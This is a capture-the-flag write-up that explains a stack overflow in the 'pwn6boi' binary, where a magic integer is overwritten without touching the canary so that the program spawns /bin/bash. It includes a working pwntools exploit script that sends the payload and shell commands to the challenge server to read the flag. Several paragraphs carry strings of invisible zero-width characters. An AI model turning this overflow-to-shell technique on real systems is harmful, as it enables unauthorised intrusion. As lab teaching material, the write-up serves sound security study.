← Back to Writeups
CUSTOMEasypwn

pwn6boi

XESXOR9/2/20263 min read
#pwn#custom#easy#bounded_read_before_canary#magic_value_overwrite#state_variable_corruption#linux

pwn6boi

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: bounded_read_before_canary, magic_value_overwrite, state_variable_corruption

Summary

Task: NON-PIE x86-64 binary with a stack canary reads 0x58 bytes into a 0x60 buffer, stopping exactly before the canary; a magic int gate (0xbaaaaaad) selects system("/bin/bash") vs system("/bin/date"). Solution: overwrite only the magic int (offset 0x44) with 0xc001d00d without touching the canary, spawning an interactive shell to cat flag.txt.

pwn6boi — pwn_spbctf

Description

Flag is in flag.txt. Go grab it!

Category: Overflow (tier pwn6 "Добор"). Author: Vlad Roskov (@mrvos). Remote: nc 109.233.56.90 11677 (pwn.spbctf.ru).

We are given a NON-PIE x86-64 ELF (boi.elf) with NX, Partial RELRO, a stack canary, and symbols intact. The goal is to read flag.txt from the remote.

Analysis

checksec: NON-PIE (base 0x400000), NX enabled, Partial RELRO, STACK CANARY present, not stripped.

main @ 0x400641 stack layout:

VariableOffset from rbpNotes
bufrbp-0x60input buffer
magic (int)rbp-0x1cinitialized to 0xbaaaaaad
canaryrbp-0x8stack guard
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Control flow:

  1. puts("So, how cool are you???")
  2. read(0, buf=[rbp-0x60], 0x58) — reads 88 bytes.
  3. If magic == 0xc001d00d → run_cmd("/bin/bash" @0x40077c), else run_cmd("/bin/date").
  4. run_cmd(s) is just system(s).

Key observation — the canary is irrelevant here. The distance from buf to magic is 0x60 - 0x1c = 0x44 = 68 bytes. The read length 0x58 = 88 bytes lets us reach and fully overwrite magic (which ends at offset 0x44 + 4 = 0x48), but the canary lives at offset 0x60 - 0x8 = 0x58. So the read stops exactly before the canary — we can never smash it, and we don't need to. We just flip the magic gate. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is a bounded-read-before-canary design: the intended lesson is that you do not always need to leak or defeat a canary. When the overflow is bounded to stop right before the guard, you instead corrupt a state variable that sits in front of it — here a magic-int gate that chooses which command system() runs.

Solution

Build a payload of exactly 72 bytes: 68 bytes of padding to fill up to magic, then the 4-byte little-endian value 0xc001d00d. This is <= 0x58 and does not reach the canary. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
from pwn import *
import sys, re

HOST = "109.233.56.90"
PORT = 11677
context.arch = "amd64"

# buf @ rbp-0x60, magic @ rbp-0x1c -> offset 0x44 = 68
# overwrite magic with 0xc001d00d to spawn /bin/bash, canary untouched
payload = b"A" * 0x44 + p32(0xc001d00d)
assert len(payload) <= 0x58, len(payload)

def attempt():
    io = remote(HOST, PORT)
    io.recvuntil(b"how cool are you", timeout=10)
    io.send(payload)
    # interactive /bin/bash now running over the socket; keep stdin open
    io.sendline(b"id; ls -la; cat flag.txt; cat /flag; cat /flag.txt")
    try:
        data = io.recvall(timeout=8)
    except Exception:
        data = b""
    io.close()
    return data
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

for i in range(6):
    log.info("Attempt %d", i + 1)
    try:
        data = attempt()
    except Exception as e:
        log.warning("err: %s", e)
        time.sleep(35)
        continue
    sys.stdout.write(data.decode(errors="replace"))
    m = re.search(rb"spbctf\{[^}]*\}", data)
    if m:
        print("\n\n[+] FLAG: " + m.group(0).decode())
        sys.exit(0)
    time.sleep(35)

After the payload, magic == 0xc001d00d, so run_cmd("/bin/bash") runs system("/bin/bash") and gives an interactive shell over the socket (uid=6 man). Keeping stdin open, cat flag.txt (the flag lives in /) returns the flag. Submit it via the platform POST flag (tile → "solved tile"). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍